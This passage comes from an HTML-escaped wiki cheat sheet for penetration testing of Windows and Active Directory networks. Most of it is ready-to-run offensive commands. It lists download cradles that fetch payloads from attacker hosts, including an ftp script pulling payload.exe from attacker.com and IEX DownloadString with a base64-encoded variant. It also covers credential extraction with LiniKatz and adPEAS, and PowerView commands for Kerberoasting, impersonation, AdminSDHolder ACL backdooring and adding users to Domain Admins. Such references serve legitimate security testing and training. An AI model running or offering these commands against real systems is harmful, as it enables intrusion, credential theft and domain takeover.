# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
wsl.exe --exec bash -c &#039;cat  binary&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# POWERSHELL&lt;br /&gt;
# System.Net.WebClient&lt;br /&gt;
(New-Object Net.WebClient).DownloadFile(&amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot;,&amp;quot;C:\Windows\Temp\taskkill.exe&amp;quot;)&lt;br /&gt;
# Invoke-WebRequest&lt;br /&gt;
Invoke-WebRequest &amp;quot;http://10.10.14.2:80/taskkill.exe&amp;quot; -OutFile &amp;quot;taskkill.exe&amp;quot;&lt;br /&gt;
# Wget&lt;br /&gt;
wget &amp;quot;http://10.10.14.2/nc.bat.exe&amp;quot; -OutFile &amp;quot;C:\ProgramData\unifivideo\taskkill.exe&amp;quot;&lt;br /&gt;
# BitsTransfer&lt;br /&gt;
Import-Module BitsTransfer&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output&lt;br /&gt;
# OR&lt;br /&gt;
Start-BitsTransfer -Source $url -Destination $output -Asynchronous&lt;br /&gt;
# Base64 Kali &amp;amp; EncodedCommand&lt;br /&gt;
kali&amp;gt; echo -n &amp;quot;IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.9:8000/9002.ps1&#039;)&amp;quot; | iconv --to-code UTF-16LE | base64 -w0&lt;br /&gt;
PS&amp;gt; powershell -EncodedCommand&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== adPEAS ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/61106960/adPEAS https://github.com/61106960/adPEAS]&lt;br /&gt;
&lt;br /&gt;
adPEAS consists of the following enumeration modules:&lt;br /&gt;
&lt;br /&gt;
* Domain - Searching for basic Active Directory information, like Domain Controllers, Sites und Subnets, Trusts and DCSync rights&lt;br /&gt;
&lt;br /&gt;
* CA - Searching for basic Enterprise Certificate Authority information, like CA Name, CA Server and Templates&lt;br /&gt;
&lt;br /&gt;
* Creds - Searching for different kind of credential exposure, like ASREPRoast, Kerberoasting, GroupPolicies, Netlogon scripts, LAPS, gMSA, certain account attributes, e.g. UnixPassword, etc.&lt;br /&gt;
&lt;br /&gt;
* Delegation - Searching for delegation issues, like &#039;Constrained Delegation&#039;, &#039;Unconstrained Delegation&#039; and &#039;Resource Based Unconstrained Delegation&#039;, for computer and user accounts&lt;br /&gt;
&lt;br /&gt;
* Accounts - Searching for high privileged user accounts in predefined groups, account issues like e.g. password not expire&lt;br /&gt;
&lt;br /&gt;
* Computer - Enumerating Domain Controllers, CA and Exchange server, with the switch -Vulns it checks the systems for EternalBlue, BlueKeep, ZeroLogon and critical Exchange vulnerabilities&lt;br /&gt;
&lt;br /&gt;
* Bloodhound - Enumerating Active Directory with BloodHound&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Load adPEAS in PowerShell.&lt;br /&gt;
Import-Module .\adPEAS.ps1 # Method 1&lt;br /&gt;
. .\adPEAS.ps1 # Method 2&lt;br /&gt;
gc -raw .\adPEAS.ps1 | iex # Method 3&lt;br /&gt;
IEX (New-Object Net.WebClient).DownloadString(&#039;https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1&#039;) # Method 4&lt;br /&gt;
-----------------------------&lt;br /&gt;
# Start adPEAS with all enumeration modules and enumerate the domain the logged-on user and computer is connected to.&lt;br /&gt;
Invoke-adPEAS&lt;br /&gt;
#Start adPEAS with all enumeration modules and enumerate the domain &#039;contoso.com&#039;.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the domain controller &#039;dc1.contoso.com&#039; for almost all enumeration requests.&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Server &#039;dc1.contoso.com&#039;&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the passed PSCredential object during enumeration.&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Passw0rd1!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;contoso\johndoe&#039;, $SecPassword)&lt;br /&gt;
Invoke-adPEAS -Domain &#039;contoso.com&#039; -Cred $Cred&lt;br /&gt;
# Start adPEAS with all enumeration modules, enumerate the domain &#039;contoso.com&#039; and use the username &#039;contoso\johndoe&#039; with password &#039;Passw0rd1!&#039; during enumeration.&lt;br /&gt;
Invoke-adPEAS -Domain contoso.com -Username &#039;contoso\johndoe&#039; -Password &#039;Passw0rd1!&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== LiniKatzV2 ==&lt;br /&gt;
&lt;br /&gt;
This tool needs &#039;&#039;&#039;root privileges&#039;&#039;&#039; to be run on the host system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Orange-Cyberdefense/LinikatzV2&lt;br /&gt;
# It allows extraction of :&lt;br /&gt;
# - Hashed stored in files for offline connection (SHA-512 format)&lt;br /&gt;
# - Kerberos tickets (user &amp;amp; machine)&lt;br /&gt;
# - Clear passwords in RAM&lt;br /&gt;
# - NTLM machine hash&lt;br /&gt;
# - AES-128 &amp;amp; AES-256 machine keys&lt;br /&gt;
$ sudo ./linikatzV2.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Purple-Knight ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/ https://www.purple-knight.com/]&lt;br /&gt;
&lt;br /&gt;
== Fores-Druid ==&lt;br /&gt;
&lt;br /&gt;
[https://www.purple-knight.com/forest-druid/ Forest Druid - Focus on your Tier 0 perimeter (purple-knight.com)]&lt;br /&gt;
&lt;br /&gt;
== PowerView (Enumeration and lateral movement) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview PowerView/SharpView - HackTricks]&lt;br /&gt;
&lt;br /&gt;
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/tevora-threat/SharpView SharpView] is a .NET port of [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 PowerView]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Quick Enumeration&lt;br /&gt;
Get-NetDomain #Basic domain info&lt;br /&gt;
#User info&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN #Kerberoastable users&lt;br /&gt;
#Groups info&lt;br /&gt;
Get-NetGroup | select samaccountname, admincount, description&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=EGOTISTICAL-BANK,DC=local&#039; | %{ $_.SecurityIdentifier } | Convert-SidToName #Get AdminSDHolders&lt;br /&gt;
#Computers&lt;br /&gt;
Get-NetComputer | select samaccountname, operatingsystem&lt;br /&gt;
Get-NetComputer -Unconstrained | select samaccountname #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#Shares&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
#Domain trusts&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
#LHF&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
Invoke-UserHunter -CheckAccess&lt;br /&gt;
#Find interesting ACLs&lt;br /&gt;
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl&lt;br /&gt;
&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain Info&lt;br /&gt;
Get-Domain #Get info about the current domain&lt;br /&gt;
Get-NetDomain #Get info about the current domain&lt;br /&gt;
Get-NetDomain -Domain mydomain.local&lt;br /&gt;
Get-DomainSID #Get domain SID&lt;br /&gt;
# Policy&lt;br /&gt;
Get-DomainPolicy #Get info about the policy&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;KerberosPolicy&amp;quot; #Kerberos tickets info(MaxServiceAge)&lt;br /&gt;
(Get-DomainPolicy).&amp;quot;SystemAccess&amp;quot; #Password policy&lt;br /&gt;
Get-DomainPolicyData | select -ExpandProperty SystemAccess #Same as previous&lt;br /&gt;
(Get-DomainPolicy).PrivilegeRights #Check your privileges&lt;br /&gt;
Get-DomainPolicyData # Same as Get-DomainPolicy&lt;br /&gt;
# Domain Controller&lt;br /&gt;
Get-DomainController | select Forest, Domain, IPAddress, Name, OSVersion | fl # Get specific info of current domain controller&lt;br /&gt;
Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain Domain Controller&lt;br /&gt;
# Get Forest info&lt;br /&gt;
Get-ForestDomain&lt;br /&gt;
---------------&lt;br /&gt;
# Users, Groups, Computers and OU&#039;s&lt;br /&gt;
# Users&lt;br /&gt;
## Get usernames and their groups&lt;br /&gt;
Get-DomainUser -Properties name, MemberOf | fl&lt;br /&gt;
## Get-DomainUser and Get-NetUser are kind of the same&lt;br /&gt;
Get-NetUser #Get users with several (not all) properties&lt;br /&gt;
Get-NetUser | select samaccountname, description, pwdlastset, logoncount, badpwdcount #List all usernames&lt;br /&gt;
Get-NetUser -UserName student107 #Get info about a user&lt;br /&gt;
Get-NetUser -properties name, description #Get all descriptions&lt;br /&gt;
Get-NetUser -properties name, pwdlastset, logoncount, badpwdcount  #Get all pwdlastset, logoncount and badpwdcount&lt;br /&gt;
Find-UserField -SearchField Description -SearchTerm &amp;quot;built&amp;quot; #Search account with &amp;quot;something&amp;quot; in a parameter&lt;br /&gt;
# Get users with reversible encryption (PWD in clear text with dcsync)&lt;br /&gt;
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like &#039;*ENCRYPTED_TEXT_PWD_ALLOWED*&#039;} |select samaccountname,useraccountcontrol&lt;br /&gt;
# Users Filters&lt;br /&gt;
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE -properties distinguishedname #All enabled users&lt;br /&gt;
Get-NetUser -UACFilter ACCOUNTDISABLE #All disabled users&lt;br /&gt;
Get-NetUser -UACFilter SMARTCARD_REQUIRED #Users that require a smart card&lt;br /&gt;
Get-NetUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname #Not smart card users&lt;br /&gt;
Get-NetUser -LDAPFilter &#039;(sidHistory=*)&#039; #Find users with sidHistory set&lt;br /&gt;
Get-NetUser -PreauthNotRequired #ASREPRoastable users&lt;br /&gt;
Get-NetUser -SPN | select serviceprincipalname #Kerberoastable users&lt;br /&gt;
Get-NetUser -SPN | ?{$_.memberof -match &#039;Domain Admins&#039;} #Domain admins kerberostable&lt;br /&gt;
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto #Constrained Resource Delegation&lt;br /&gt;
Get-NetUser -AllowDelegation -AdminCount #All privileged users that aren&#039;t marked as sensitive/not for delegation&lt;br /&gt;
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)&lt;br /&gt;
Get-ObjectAcl &amp;quot;dc=dev,dc=testlab,dc=local&amp;quot; -ResolveGUIDs | ? {&lt;br /&gt;
    ($_.ObjectType -match &#039;replication-get&#039;) -or ($_.ActiveDirectoryRights -match &#039;GenericAll&#039;)&lt;br /&gt;
}&lt;br /&gt;
# Users with PASSWD_NOTREQD set in the userAccountControl means that the user is not subject to the current password policy&lt;br /&gt;
## Users with this flag might have empty passwords (if allowed) or shorter passwords&lt;br /&gt;
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol&lt;br /&gt;
#Groups&lt;br /&gt;
Get-DomainGroup | where Name -like &amp;quot;*Admin*&amp;quot; | select SamAccountName&lt;br /&gt;
## Get-DomainGroup is similar to Get-NetGroup&lt;br /&gt;
Get-NetGroup #Get groups&lt;br /&gt;
Get-NetGroup -Domain mydomain.local #Get groups of an specific domain&lt;br /&gt;
Get-NetGroup &#039;Domain Admins&#039; #Get all data of a group&lt;br /&gt;
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl #Search admin grups&lt;br /&gt;
Get-NetGroup -UserName &amp;quot;myusername&amp;quot; #Get groups of a user&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Administrators&amp;quot; -Recurse #Get users inside &amp;quot;Administrators&amp;quot; group. If there are groups inside of this grup, the -Recurse option will print the users inside the others groups also&lt;br /&gt;
Get-NetGroupMember -Identity &amp;quot;Enterprise Admins&amp;quot; -Domain mydomain.local #Remember that &amp;quot;Enterprise Admins&amp;quot; group only exists in the rootdomain of the forest&lt;br /&gt;
Get-NetLocalGroup -ComputerName dc.mydomain.local -ListGroups #Get Local groups of a machine (you need admin rights in no DC hosts)&lt;br /&gt;
Get-NetLocalGroupMember -computername dcorp-dc.dollarcorp.moneycorp.local #Get users of localgroups in computer&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -ResolveGUIDs #Check AdminSDHolder users&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} #Get ObjectACLs by sid&lt;br /&gt;
Get-NetGPOGroup #Get restricted groups&lt;br /&gt;
# Computers&lt;br /&gt;
Get-DomainComputer -Properties DnsHostName # Get all domain maes of computers&lt;br /&gt;
## Get-DomainComputer is kind of the same as Get-NetComputer&lt;br /&gt;
Get-NetComputer #Get all computer objects&lt;br /&gt;
Get-NetComputer -Ping #Send a ping to check if the computers are working&lt;br /&gt;
Get-NetComputer -Unconstrained #DCs always appear but aren&#039;t useful for privesc&lt;br /&gt;
Get-NetComputer -TrustedToAuth #Find computers with Constrined Delegation&lt;br /&gt;
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like &#039;*$&#039;} #Find any machine accounts in privileged groups&lt;br /&gt;
#OU&lt;br /&gt;
Get-DomainOU -Properties Name | sort -Property Name #Get names of OUs&lt;br /&gt;
Get-DomainOU &amp;quot;Servers&amp;quot; | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties Name} #Get all computers inside an OU (Servers in this case)&lt;br /&gt;
## Get-DomainOU is kind of the same as Get-NetOU&lt;br /&gt;
Get-NetOU #Get Organization Units&lt;br /&gt;
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)&lt;br /&gt;
-----------------------&lt;br /&gt;
# Logon and sessions&lt;br /&gt;
Get-NetLoggedon -ComputerName  #Get net logon users at the moment in a computer (need admins rights on target)&lt;br /&gt;
Get-NetSession -ComputerName  #Get active sessions on the host&lt;br /&gt;
Get-LoggedOnLocal -ComputerName  #Get locally logon users at the moment (need remote registry (default in server OS))&lt;br /&gt;
Get-LastLoggedon -ComputerName  #Get last user logged on (needs admin rigths in host)&lt;br /&gt;
Get-NetRDPSession -ComputerName  #List RDP sessions inside a host (needs admin rights in host)&lt;br /&gt;
&lt;br /&gt;
---------------&lt;br /&gt;
# Group Policy Object - GPOs&lt;br /&gt;
# If an attacker has high privileges over a GPO he could be able to privesc abusing it by add permissions to a user, add a local admin user to a host or create a scheduled task (immediate) to perform an action.&lt;br /&gt;
More info https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#gpo-delegation&lt;br /&gt;
#GPO&lt;br /&gt;
Get-DomainGPO | select displayName #Check the names for info&lt;br /&gt;
Get-NetGPO #Get all policies with details&lt;br /&gt;
Get-NetGPO | select displayname #Get the names of the policies&lt;br /&gt;
Get-NetGPO -ComputerName  #Get the policy applied in a computer&lt;br /&gt;
gpresult /V #Get current policy&lt;br /&gt;
# Get who can create new GPOs&lt;br /&gt;
Get-DomainObjectAcl -SearchBase &amp;quot;CN=Policies,CN=System,DC=dev,DC=invented,DC=io&amp;quot; -ResolveGUIDs | ? { $_.ObjectAceType -eq &amp;quot;Group-Policy-Container&amp;quot; } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Enumerate permissions for GPOs where users with RIDs of &amp;gt; 1000 have some kind of modification/control rights&lt;br /&gt;
Get-DomainObjectAcl -LDAPFilter &#039;(objectCategory=groupPolicyContainer)&#039; | ? { ($_.SecurityIdentifier -match &#039;^S-1-5-.*-[1-9]\d{3,}$&#039;) -and ($_.ActiveDirectoryRights -match &#039;WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner&#039;)} | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl&lt;br /&gt;
# Get permissions a user/group has over any GPO&lt;br /&gt;
$sid=Convert-NameToSid &amp;quot;Domain Users&amp;quot;&lt;br /&gt;
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
# COnvert GPO GUID to name&lt;br /&gt;
Get-GPO -Guid 18E5A689-E67F-90B2-1953-198ED4A7F532&lt;br /&gt;
# Transform SID to name&lt;br /&gt;
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126&lt;br /&gt;
# Get GPO of an OU&lt;br /&gt;
Get-NetGPO -GPOName &#039;{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}&#039;&lt;br /&gt;
# Returns all GPOs that modify local group memberships through Restricted Groups or Group Policy Preferences.&lt;br /&gt;
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType&lt;br /&gt;
# Enumerates the machines where a specific domain user/group is a member of a specific local group.&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName&lt;br /&gt;
--------------&lt;br /&gt;
# ACL&lt;br /&gt;
#Get ACLs of an object (permissions of other objects over the indicated one)&lt;br /&gt;
Get-ObjectAcl -SamAccountName  -ResolveGUIDs&lt;br /&gt;
#Other way to get ACLs of an object&lt;br /&gt;
$sid = Convert-NameToSid&lt;br /&gt;
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}&lt;br /&gt;
#Get permissions of a file&lt;br /&gt;
Get-PathAcl -Path &amp;quot;\\dc.mydomain.local\sysvol&amp;quot;&lt;br /&gt;
#Find intresting ACEs (Interesting permisions of &amp;quot;unexpected objects&amp;quot; (RID&amp;gt;1000 and modify permissions) over other objects&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs&lt;br /&gt;
#Check if any of the interesting permissions founds is realated to a username/group&lt;br /&gt;
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match &amp;quot;RDPUsers&amp;quot;}&lt;br /&gt;
#Get special rights over All administrators in domain&lt;br /&gt;
Get-NetGroupMember -GroupName &amp;quot;Administrators&amp;quot; -Recurse | ?{$_.IsGroup -match &amp;quot;false&amp;quot;} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights&lt;br /&gt;
-------------------&lt;br /&gt;
# Shared files and folders&lt;br /&gt;
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers&lt;br /&gt;
Find-DomainShare -CheckShareAccess #Search readable shares&lt;br /&gt;
Find-InterestingDomainShareFile #Find interesting files, can use filters&lt;br /&gt;
-----------------------&lt;br /&gt;
# Domain trust&lt;br /&gt;
Get-NetDomainTrust #Get all domain trusts (parent, children and external)&lt;br /&gt;
Get-DomainTrust #Same&lt;br /&gt;
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found&lt;br /&gt;
Get-DomainTrustMapping #Enumerate also all the trusts&lt;br /&gt;
Get-ForestDomain # Get basic forest info&lt;br /&gt;
Get-ForestGlobalCatalog #Get info of current forest (no external)&lt;br /&gt;
Get-ForestGlobalCatalog -Forest external.domain #Get info about the external forest (if possible)&lt;br /&gt;
Get-DomainTrust -SearchBase &amp;quot;GC://$($ENV:USERDNSDOMAIN)&amp;quot;&lt;br /&gt;
Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)&lt;br /&gt;
Get-DomainForeingUser #Get users with privileges in other domains inside the forest&lt;br /&gt;
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest&lt;br /&gt;
---------------------&lt;br /&gt;
# Check for low-hangig fruit&lt;br /&gt;
#Check if any user passwords are set&lt;br /&gt;
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter &#039;(userPassword=*)&#039; -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty &#039;Password&#039; &amp;quot;$([System.Text.Encoding]::ASCII.GetString($_.userPassword))&amp;quot; -PassThru} | fl&lt;br /&gt;
#Asks DC for all computers, and asks every compute if it has admin access (very noisy). You need RCP and SMB ports opened.&lt;br /&gt;
Find-LocalAdminAccess&lt;br /&gt;
#(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.&lt;br /&gt;
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt&lt;br /&gt;
#Enumerate machines where a particular user/group identity has local admin rights&lt;br /&gt;
Get-DomainGPOUserLocalGroupMapping -Identity&lt;br /&gt;
# Enumerates the members of specified local group (default administrators)&lt;br /&gt;
# for all the targeted machines on the current (or specified) domain.&lt;br /&gt;
Invoke-EnumerateLocalAdmin&lt;br /&gt;
Find-DomainLocalGroupMember&lt;br /&gt;
#Search unconstrained delegation computers and show users&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -ShowAll&lt;br /&gt;
#Admin users that allow delegation, logged into servers that allow unconstrained delegation&lt;br /&gt;
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation&lt;br /&gt;
#Get members from Domain Admins (default) and a list of computers&lt;br /&gt;
# and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host.&lt;br /&gt;
# If -Checkaccess, then it also check for LocalAdmin access in the hosts.&lt;br /&gt;
## By default users inside Domain Admins are searched&lt;br /&gt;
Find-DomainUserLocation [-CheckAccess] | select UserName, SessionFromName&lt;br /&gt;
Invoke-UserHunter [-CheckAccess]&lt;br /&gt;
#Search &amp;quot;RDPUsers&amp;quot; users&lt;br /&gt;
Invoke-UserHunter -GroupName &amp;quot;RDPUsers&amp;quot;&lt;br /&gt;
#It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)&lt;br /&gt;
Invoke-UserHunter -Stealth&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# SID to Name&lt;br /&gt;
&amp;quot;S-1-5-21-1874506631-3219952063-538504511-2136&amp;quot; | Convert-SidToName&lt;br /&gt;
# Kerberoast&lt;br /&gt;
Invoke-Kerberoast [-Identity websvc] #Without &amp;quot;-Identity&amp;quot; kerberoast all possible users&lt;br /&gt;
# Use different credentials (argument)&lt;br /&gt;
# use an alterate creadential for any function&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;BurgerBurgerBurger!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Get-DomainUser -Credential $Cred&lt;br /&gt;
# Impersonate a user&lt;br /&gt;
# if running in -sta mode, impersonate another credential a la &amp;quot;runas /netonly&amp;quot;&lt;br /&gt;
$SecPassword = ConvertTo-SecureString &#039;Password123!&#039; -AsPlainText -Force&lt;br /&gt;
$Cred = New-Object System.Management.Automation.PSCredential(&#039;TESTLAB\dfm.a&#039;, $SecPassword)&lt;br /&gt;
Invoke-UserImpersonation -Credential $Cred&lt;br /&gt;
# ... action&lt;br /&gt;
Invoke-RevertToSelf&lt;br /&gt;
# Set values&lt;br /&gt;
# set the specified property for the given user identity&lt;br /&gt;
Set-DomainObject testuser -Set @{&#039;mstsinitialprogram&#039;=&#039;\\EVIL\program.exe&#039;} -Verbose&lt;br /&gt;
# Set the owner of &#039;dfm&#039; in the current domain to &#039;harmj0y&#039;&lt;br /&gt;
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y&lt;br /&gt;
# ackdoor the ACLs of all privileged accounts with the &#039;matt&#039; account through AdminSDHolder abuse&lt;br /&gt;
Add-DomainObjectAcl -TargetIdentity &#039;CN=AdminSDHolder,CN=System,DC=testlab,DC=local&#039; -PrincipalIdentity matt -Rights All&lt;br /&gt;
# Add user to &#039;Domain Admins&#039;&lt;br /&gt;
Add-NetGroupUser -Username username -GroupName &#039;Domain Admins&#039; -Domain my.domain.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PingCastle ==&lt;br /&gt;
&lt;br /&gt;
